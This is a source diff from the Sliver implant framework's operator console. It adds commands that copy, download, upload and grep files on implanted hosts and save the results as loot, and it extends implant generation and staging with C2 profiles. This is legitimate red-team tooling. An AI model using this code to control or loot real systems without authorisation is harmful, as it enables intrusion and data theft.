This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
func CpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if len(args) != 2 {
con.PrintErrorf("Please specify a source and destination filename.\n")
return
}
src := args[0]
dst := args[1]
cp, err := con.Rpc.Cp(context.Background(), &sliverpb.CpReq{
Request: con.ActiveTarget.Request(cmd),
Src: src,
Dst: dst,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
cp.Src, cp.Dst = src, dst
if cp.Response != nil && cp.Response.Async {
con.AddBeaconCallback(cp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, cp)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
})
con.PrintAsyncResponse(cp.Response)
} else {
PrintCp(cp, con)
}
return
}
func PrintCp(cp *sliverpb.Cp, con *console.SliverConsoleClient) {
if cp.Response != nil && cp.Response.Err != "" {
con.PrintErrorf("%s\n", cp.Response.Err)
return
}
con.PrintInfof("Copied '%s' to '%s' (%d bytes written)\n", cp.Src, cp.Dst, cp.BytesWritten)
}
+10 -4
View File
@@ -51,9 +51,10 @@ func DownloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: remotePath,
Recurse: recurse,
Request: con.ActiveTarget.Request(cmd),
Path: remotePath,
Recurse: recurse,
RestrictedToFile: false,
})
ctrl <- true
<-ctrl
@@ -119,7 +120,12 @@ func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, arg
}
remotePath := args[0]
localPath := args[1]
var localPath string
if len(args) == 1 {
localPath = "."
} else {
localPath = args[1]
}
saveLoot, _ := cmd.Flags().GetBool("loot")
if download.ReadFiles == 0 {
+304
View File
@@ -0,0 +1,304 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"regexp"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/fatih/color"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
const maxLinesDisplayed = 50
func processFlags(searchPattern string, insensitive bool, exact bool) string {
if !insensitive && !exact {
return searchPattern
}
var processedSearchPattern = searchPattern
flagsAtBeginning, _ := regexp.Compile(`^\(\?.*\)`)
flagsSpecifiedIndex := flagsAtBeginning.FindStringIndex(searchPattern)
if insensitive {
if flagsSpecifiedIndex != nil {
// If we matched, flagsSpecifiedIndex[0] will always be 0 (the start of the string)
flags := searchPattern[:flagsSpecifiedIndex[1]]
if !strings.Contains(flags, "i") {
processedSearchPattern = "(?i" + searchPattern[2:]
}
} else {
processedSearchPattern = "(?i)" + processedSearchPattern
}
}
// For exact matches, we will replace any start and end of line anchors with (^|\s) and (\s|$) respectively
flagsSpecifiedIndex = flagsAtBeginning.FindStringIndex(processedSearchPattern)
if exact {
var endIndexOfFlags = 0
if flagsSpecifiedIndex != nil {
endIndexOfFlags = flagsSpecifiedIndex[1]
}
if strings.HasPrefix(processedSearchPattern[endIndexOfFlags:], "^") {
processedSearchPattern = processedSearchPattern[:endIndexOfFlags] + strings.Replace(processedSearchPattern[endIndexOfFlags:], "^", `(^|\s)`, 1)
} else {
processedSearchPattern = `(^|\s)` + processedSearchPattern
}
if strings.HasSuffix(processedSearchPattern, "$") {
processedSearchPattern = processedSearchPattern[:len(processedSearchPattern)-1] + `(\s|$)`
} else {
processedSearchPattern = processedSearchPattern + `(\s|$)`
}
}
return processedSearchPattern
}
func GrepCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
searchPattern := args[0]
searchPath := args[1]
recursive, _ := cmd.Flags().GetBool("recursive")
insensitive, _ := cmd.Flags().GetBool("insensitive")
exact, _ := cmd.Flags().GetBool("exact")
searchPatternProcessed := processFlags(searchPattern, insensitive, exact)
// Sanity check the search pattern to validate that it is a valid regex
_, err := regexp.Compile(searchPattern)
if err != nil {
con.PrintErrorf("%s is not a valid regex: %s\n", searchPattern, err)
return
}
// Context overrides individual values for before and after
var linesBefore int32 = 0
var linesAfter int32 = 0
if cmd.Flags().Changed("context") {
linesBefore, _ = cmd.Flags().GetInt32("context")
linesAfter = linesBefore
} else {
linesBefore, _ = cmd.Flags().GetInt32("before")
linesAfter, _ = cmd.Flags().GetInt32("after")
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Searching for %s in %s ...", searchPattern, searchPath), ctrl)
grep, err := con.Rpc.Grep(context.Background(), &sliverpb.GrepReq{
Request: con.ActiveTarget.Request(cmd),
SearchPattern: searchPatternProcessed,
Path: searchPath,
Recursive: recursive,
LinesBefore: linesBefore,
LinesAfter: linesAfter,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if grep.Response != nil && grep.Response.Async {
con.AddBeaconCallback(grep.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, grep)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
// Using args[0] so that the operator's original input is preserved
printGrep(grep, args[0], searchPath, cmd, con)
})
con.PrintAsyncResponse(grep.Response)
} else {
printGrep(grep, args[0], searchPath, cmd, con)
}
}
// printGrep - Print the results from the grep operation to stdout
func printGrep(grep *sliverpb.Grep, searchPattern string, searchPath string, cmd *cobra.Command, con *console.SliverConsoleClient) {
saveLoot, _ := cmd.Flags().GetBool("loot")
lootName, _ := cmd.Flags().GetString("name")
colorize, _ := cmd.Flags().GetBool("colorize-output")
userLootFileType, _ := cmd.Flags().GetString("file-type")
currentDateTime := time.Now().Format("2006-01-02_150405")
if !cmd.Flags().Changed("lootName") {
// If the loot name has not been specified by the operator, generate one
con.GetActiveSessionConfig()
lootName = fmt.Sprintf("grep from %s on %s (%s)", searchPath, con.GetActiveSessionConfig().ID, currentDateTime)
}
if grep.Response != nil && grep.Response.Err != "" {
con.PrintErrorf("%s\n", grep.Response.Err)
return
}
grepResults, numberOfResults, binaryFilesMatched := printGrepResults(grep.Results, colorize, true)
if len(grepResults) > maxLinesDisplayed {
// If there are more than maxResultsDisplayed results, then loot the rest so that we do not overfill the console
saveLoot = true
}
var resultQualifier string
var displayLimit string
if numberOfResults == 1 {
resultQualifier = "line"
} else {
resultQualifier = "lines"
}
if len(grepResults) > maxLinesDisplayed {
displayLimit = fmt.Sprintf(" (%d displayed, including context if available)", maxLinesDisplayed)
}
con.Printf("Found %d matching %s for %s in %s%s\n\n", numberOfResults, resultQualifier, searchPattern, searchPath, displayLimit)
if len(grepResults) > maxLinesDisplayed {
con.Println(strings.Join(grepResults[:maxLinesDisplayed+1], "\n"))
} else {
con.Println(strings.Join(grepResults, "\n"))
}
if len(grepResults) > maxLinesDisplayed {
con.PrintWarnf("Number of output lines exceed %d. The full output is available in the loot file \"%s\"\n", maxLinesDisplayed, lootName)
}
if len(binaryFilesMatched) > 0 {
con.PrintInfof("The following binary files contained one or more matches that may not be reflected above:\n")
for _, fileName := range binaryFilesMatched {
con.Printf("\t%s\n", fileName)
}
}
if saveLoot {
// Do not allow escape sequences in the output when looting
grepResultsForLoot, numberOfResults, binaryFilesMatched := printGrepResults(grep.Results, false, false)
lootFileName := fmt.Sprintf("grep_%s_%s.txt", con.GetActiveSessionConfig().ID, currentDateTime)
flags := []string{}
if recursive, _ := cmd.Flags().GetBool("recursive"); recursive {
flags = append(flags, "recursive")
}
if exact, _ := cmd.Flags().GetBool("exact"); exact {
flags = append(flags, "exact match")
}
if insensitive, _ := cmd.Flags().GetBool("insensitive"); insensitive {
flags = append(flags, "case insensitive search")
}
// Add a header to the looted grep results to indicate what the pattern was and what was searched
grepResultsString := fmt.Sprintf("Search pattern: %s\nSearch location: %s\n", searchPattern, grep.SearchPathAbsolute)
if len(flags) > 0 {
grepResultsString += fmt.Sprintf("Search flags: %s\n", strings.Join(flags, ", "))
}
grepResultsString += fmt.Sprintf("Number of Results: %d\n\n%s", numberOfResults, strings.Join(grepResultsForLoot, "\n"))
if len(binaryFilesMatched) > 0 {
grepResultsString += "\nThe following binary files contained one or more matches:\n"
grepResultsString += strings.Join(binaryFilesMatched, "\n")
}
fileType := loot.ValidateLootFileType(userLootFileType, []byte(grepResultsString))
loot.LootText(grepResultsString, lootName, lootFileName, fileType, con)
}
}
// grepLineResult - Add color or formatting for results for console output
func grepLineResult(positions []*sliverpb.GrepLinePosition, line string, colorize bool, allowFormatting bool) string {
var result string = ""
var matchOutput func(a ...interface{}) string
var previousPositionEnd int32 = 0
if colorize {
matchOutput = color.New(color.FgRed, color.Bold).SprintFunc()
} else if allowFormatting {
matchOutput = color.New(color.Bold).SprintFunc()
}
for idx, position := range positions {
if colorize || allowFormatting {
result += line[previousPositionEnd:position.Start]
result += matchOutput(line[position.Start:position.End])
if idx == len(positions)-1 {
result += line[position.End:]
} else {
previousPositionEnd = position.End
}
} else {
result = line
}
}
return result
}
// printGrepResults - Take the results from the implant and put them together for output to the console or loot
func printGrepResults(results map[string]*sliverpb.GrepResultsForFile, colorize bool, allowFormatting bool) ([]string, int, []string) {
var resultOutput []string
var numberOfResults = 0
binaryFilesMatched := []string{}
for fileName, result := range results {
if result.IsBinary {
if len(result.FileResults) > 0 {
binaryFilesMatched = append(binaryFilesMatched, fileName)
}
}
for _, lineResult := range result.FileResults {
line := lineResult.Line
if len(lineResult.LinesBefore) > 0 || len(lineResult.LinesAfter) > 0 {
resultOutput = append(resultOutput, fmt.Sprintf("%s (match on line %d)\n", fileName, lineResult.LineNumber))
if len(lineResult.LinesBefore) > 0 {
resultOutput = append(resultOutput, strings.Join(lineResult.LinesBefore, "\n"))
}
resultOutput = append(resultOutput, grepLineResult(lineResult.Positions, line, colorize, allowFormatting))
if len(lineResult.LinesAfter) > 0 {
resultOutput = append(resultOutput, strings.Join(lineResult.LinesAfter, "\n"))
}
resultOutput = append(resultOutput, "\n")
} else {
if lineResult.LineNumber == -1 {
resultOutput = append(resultOutput, fmt.Sprintf("Error when reading file %s: %s", fileName, line))
} else {
resultOutput = append(resultOutput, fmt.Sprintf("%s: Line %d: %s", fileName, lineResult.LineNumber, grepLineResult(lineResult.Positions, line, colorize, allowFormatting)))
}
}
numberOfResults += 1
}
}
return resultOutput, numberOfResults, binaryFilesMatched
}
+127
View File
@@ -0,0 +1,127 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
func HeadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string, head bool) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var filePath string
var fetchBytes bool
var fetchSize int64
var operationName string
var download *sliverpb.Download
var err error
if len(args) > 0 {
filePath = args[0]
}
if filePath == "" {
con.PrintErrorf("Missing parameter: file name\n")
return
}
if cmd.Flags().Changed("bytes") {
fetchBytes = true
fetchSize, _ = cmd.Flags().GetInt64("bytes")
if fetchSize < 0 {
// Cannot fetch a negative number of bytes
con.PrintErrorf("The number of bytes specified must be positive.")
return
}
if fetchSize == 1 {
operationName = "byte"
} else {
operationName = "bytes"
}
} else if cmd.Flags().Changed("lines") {
fetchBytes = false
fetchSize, _ = cmd.Flags().GetInt64("lines")
if fetchSize < 0 {
// Cannot fetch a negative number of lines
con.PrintErrorf("The number of lines specified must be positive.")
return
}
if fetchSize == 1 {
operationName = "line"
} else {
operationName = "lines"
}
} else {
con.PrintErrorf("A number of bytes or a number of lines must be specified.")
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Retrieving %d %s from %s ...", fetchSize, operationName, filePath), ctrl)
// A tail is a negative head
if !head {
fetchSize *= -1
}
if fetchBytes {
download, err = con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
MaxBytes: fetchSize,
RestrictedToFile: true,
})
} else {
download, err = con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
MaxLines: fetchSize,
RestrictedToFile: true,
})
}
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCat(download, cmd, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintCat(download, cmd, con)
}
}
+4 -1
View File
@@ -43,7 +43,10 @@ func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []
}
fdInt, err := strconv.ParseInt(fdArg, 0, 64)
if err != nil {
con.PrintErrorf("Failed to parse fdArg: %s\n", err)
return
}
memfilesList, err := con.Rpc.MemfilesRm(context.Background(), &sliverpb.MemfilesRmReq{
Request: con.ActiveTarget.Request(cmd),
Fd: fdInt,
+15 -9
View File
@@ -21,7 +21,6 @@ package filesystem
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
@@ -42,8 +41,13 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
return
}
remotePath := ""
localPath := args[0]
remotePath := args[1]
if len(args) > 1 {
remotePath = args[1]
}
// localPath := ctx.Args.String("local-path")
// remotePath := ctx.Args.String("remote-path")
isIOC, _ := cmd.Flags().GetBool("ioc")
@@ -59,14 +63,15 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
con.PrintErrorf("%s\n", err)
return
}
fileName := filepath.Base(src)
if remotePath == "" {
fileName := filepath.Base(src)
remotePath = fileName
}
dst := remotePath
fileBuf, err := ioutil.ReadFile(src)
fileBuf, err := os.ReadFile(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -76,11 +81,12 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
Request: con.ActiveTarget.Request(cmd),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
IsIOC: isIOC,
Request: con.ActiveTarget.Request(cmd),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
IsIOC: isIOC,
FileName: fileName,
})
ctrl <- true
<-ctrl
+2 -2
View File
@@ -18,7 +18,7 @@ var (
// GenerateBeaconCmd - The main command used to generate implant binaries
func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
config := parseCompileFlags(cmd, con)
name, config := parseCompileFlags(cmd, con)
if config == nil {
return
}
@@ -35,7 +35,7 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
compile(config, save, con)
} else {
externalBuild(config, save, con)
externalBuild(name, config, save, con)
}
}
+30 -25
View File
@@ -90,7 +90,7 @@ var (
// GenerateCmd - The main command used to generate implant binaries
func GenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
config := parseCompileFlags(cmd, con)
name, config := parseCompileFlags(cmd, con)
if config == nil {
return
}
@@ -101,7 +101,7 @@ func GenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
compile(config, save, con)
} else {
_, err := externalBuild(config, save, con)
_, err := externalBuild(name, config, save, con)
if err != nil {
if err == ErrNoExternalBuilder {
con.PrintErrorf("There are no external builders currently connected to the server\n")
@@ -182,14 +182,14 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
}
// Shared function that extracts the compile flags from the grumble context
func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (string, *clientpb.ImplantConfig) {
var name string
if nameF, _ := cmd.Flags().GetString("name"); nameF != "" {
name = strings.ToLower(nameF)
if err := util.AllowedName(name); err != nil {
con.PrintErrorf("%s\n", err)
return nil
return "", nil
}
}
@@ -199,7 +199,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
mtlsC2, err := ParseMTLSc2(mtlsC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
return "", nil
}
c2s = append(c2s, mtlsC2...)
@@ -207,7 +207,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
wgC2, err := ParseWGc2(wgC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
return "", nil
}
wgKeyExchangePort, _ := cmd.Flags().GetUint32("key-exchange")
wgTcpCommsPort, _ := cmd.Flags().GetUint32("tcp-comms")
@@ -218,7 +218,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
httpC2, err := ParseHTTPc2(httpC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
return "", nil
}
c2s = append(c2s, httpC2...)
@@ -226,7 +226,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
dnsC2, err := ParseDNSc2(dnsC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
return "", nil
}
c2s = append(c2s, dnsC2...)
@@ -234,7 +234,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
namedPipeC2, err := ParseNamedPipec2(namedPipeC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
return "", nil
}
c2s = append(c2s, namedPipeC2...)
@@ -242,7 +242,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
tcpPivotC2, err := ParseTCPPivotc2(tcpPivotC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
return "", nil
}
c2s = append(c2s, tcpPivotC2...)
@@ -256,7 +256,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
return nil
return "", nil
}
rawCanaries, _ := cmd.Flags().GetString("canary")
@@ -320,20 +320,20 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
targetArch := strings.ToLower(targetArchF)
targetOS, targetArch = getTargets(targetOS, targetArch, con)
if targetOS == "" || targetArch == "" {
return nil
return "", nil
}
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
return nil
return "", nil
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
return nil
return "", nil
}
// Check to see if we can *probably* build the target binary
if !checkBuildTargetCompatibility(configFormat, targetOS, targetArch, con) {
return nil
return "", nil
}
var tunIP net.IP
@@ -342,7 +342,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
tunIP = net.ParseIP(uniqueWGIP.IP)
if err != nil {
con.PrintErrorf("Failed to generate unique ip for wg peer tun interface")
return nil
return "", nil
}
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
}
@@ -353,17 +353,21 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
connectionStrategy, _ := cmd.Flags().GetString("strategy")
if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
return nil
return "", nil
}
// Parse Traffic Encoder Args
httpC2Enabled := 0 < len(httpC2)
trafficEncodersEnabled, trafficEncoderAssets := parseTrafficEncoderArgs(cmd, httpC2Enabled, con)
c2Profile, _ := cmd.Flags().GetString("c2profile")
if c2Profile == "" {
c2Profile = consts.DefaultC2Profile
}
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: targetArch,
Name: name,
Debug: debug,
Evasion: evasion,
SGNEnabled: sgnEnabled,
@@ -398,10 +402,11 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl
TrafficEncodersEnabled: trafficEncodersEnabled,
Assets: trafficEncoderAssets,
DebugFile: debugFile,
DebugFile: debugFile,
HTTPC2ConfigName: c2Profile,
}
return config
return name, config
}
// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled
@@ -778,7 +783,7 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
return c2s, nil
}
func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
func externalBuild(name string, config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
potentialBuilders, err := findExternalBuilders(config, con)
if err != nil {
return nil, err
@@ -818,6 +823,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
con.PrintInfof("Creating external build ... ")
externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
Name: name,
Config: config,
BuilderName: externalBuilder.Name,
})
@@ -827,7 +833,6 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
}
con.Printf("done\n")
var name string
msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
for waiting {
select {
@@ -845,13 +850,13 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
if len(parts) != 2 {
continue
}
if parts[0] == externalImplantConfig.Config.ID {
if parts[0] == externalImplantConfig.Build.ID {
con.RemoveEventListener(listenerID)
return nil, fmt.Errorf("external build failed: %s", parts[1])
}
case consts.AcknowledgeBuildEvent:
if string(event.Data) == externalImplantConfig.Config.ID {
if string(event.Data) == externalImplantConfig.Build.ID {
msgF = "External build acknowledged by builder (template: %s) ... %s"
}
@@ -860,7 +865,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
if len(parts) != 2 {
continue
}
if parts[0] == externalImplantConfig.Config.ID {
if parts[0] == externalImplantConfig.Build.ID {
con.RemoveEventListener(listenerID)
name = parts[1]
waiting = false
+33 -37
View File
@@ -14,46 +14,24 @@ import (
// GetSliverBinary - Get the binary of an implant based on it's profile
func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsoleClient) ([]byte, error) {
var data []byte
// get implant builds
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
ctrl := make(chan bool)
con.SpinUntil("Compiling, please wait ...", ctrl)
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
Config: profile.Config,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error generating implant\n")
return data, err
}
implantName := buildImplantName(profile.GetConfig().GetFileName())
_, ok := builds.GetConfigs()[implantName]
if implantName == "" || !ok {
// no built implant found for profile, generate a new one
con.PrintInfof("No builds found for profile %s, generating a new one\n", profile.GetName())
ctrl := make(chan bool)
con.SpinUntil("Compiling, please wait ...", ctrl)
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
Config: profile.Config,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error generating implant\n")
return data, err
}
data = generated.GetFile().GetData()
profile.Config.FileName = generated.File.Name
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("Error updating implant profile\n")
return data, err
}
} else {
// Found a build, reuse that one
con.PrintInfof("Sliver name for profile: %s\n", implantName)
regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
ImplantName: implantName,
})
if err != nil {
return data, err
}
data = regenerate.GetFile().GetData()
data = generated.GetFile().GetData()
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("Error updating implant profile\n")
return data, err
}
return data, err
}
@@ -135,6 +113,24 @@ func FormatCompleter() carapace.Action {
})
}
// HTTPC2Completer - Completes the HTTP C2 PROFILES
func HTTPC2Completer(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(grpcCtx, &commonpb.Empty{})
if err != nil {
return carapace.ActionMessage("failed to fetch HTTP C2 profiles: %s", err.Error())
}
var results []string
for _, profile := range httpC2Profiles.Configs {
results = append(results, profile.Name)
}
return carapace.ActionValues(results...).Tag("HTTP C2 Profiles")
})
}
// TrafficEncoderCompleter - Completes the names of traffic encoders
func TrafficEncodersCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+39
View File
@@ -0,0 +1,39 @@
package generate
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// ImplantsStageCmd - Serve a previously generated build
func ImplantsStageCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Unable to load implant builds '%s'\n", err)
return
}
options := []string{}
for name, _ := range builds.Configs {
options = append(options, name)
}
prompt := &survey.MultiSelect{
Message: "Select sessions and beacons to expose:",
Options: options,
}
selected := []string{}
survey.AskOne(prompt, &selected)
_, err = con.Rpc.StageImplantBuild(context.Background(), &clientpb.ImplantStageReq{Build: selected})
if err != nil {
con.PrintErrorf("Failed to serve implant %s\n", err)
return
}
}
+17 -5
View File
@@ -53,14 +53,14 @@ func ImplantsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
implantBuildFilters := ImplantBuildFilter{}
if 0 < len(builds.Configs) {
PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
PrintImplantBuilds(builds, implantBuildFilters, con)
} else {
con.PrintInfof("No implant builds\n")
}
}
// PrintImplantBuilds - Print the implant builds on the server
func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
func PrintImplantBuilds(builds *clientpb.ImplantBuilds, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
@@ -71,12 +71,15 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
"Format",
"Command & Control",
"Debug",
"C2 Config",
"ID",
"Stage",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
for sliverName, config := range configs {
for sliverName, config := range builds.Configs {
if filters.GOOS != "" && config.GOOS != filters.GOOS {
continue
}
@@ -97,9 +100,15 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
continue
}
implantType := "session"
implantType := ""
if builds.ResourceIDs[sliverName].Type != "" {
implantType = builds.ResourceIDs[sliverName].Type
}
if config.IsBeacon {
implantType = "beacon"
implantType += "beacon"
} else {
implantType += "session"
}
c2URLs := []string{}
for index, c2 := range config.C2 {
@@ -116,6 +125,9 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
config.Format,
strings.Join(c2URLs, "\n"),
fmt.Sprintf("%v", config.Debug),
fmt.Sprintf(config.HTTPC2ConfigName),
fmt.Sprintf("%v", builds.ResourceIDs[sliverName].Value),
fmt.Sprintf("%v", builds.Staged[sliverName]),
})
}
+1 -8
View File
@@ -19,7 +19,6 @@ package generate
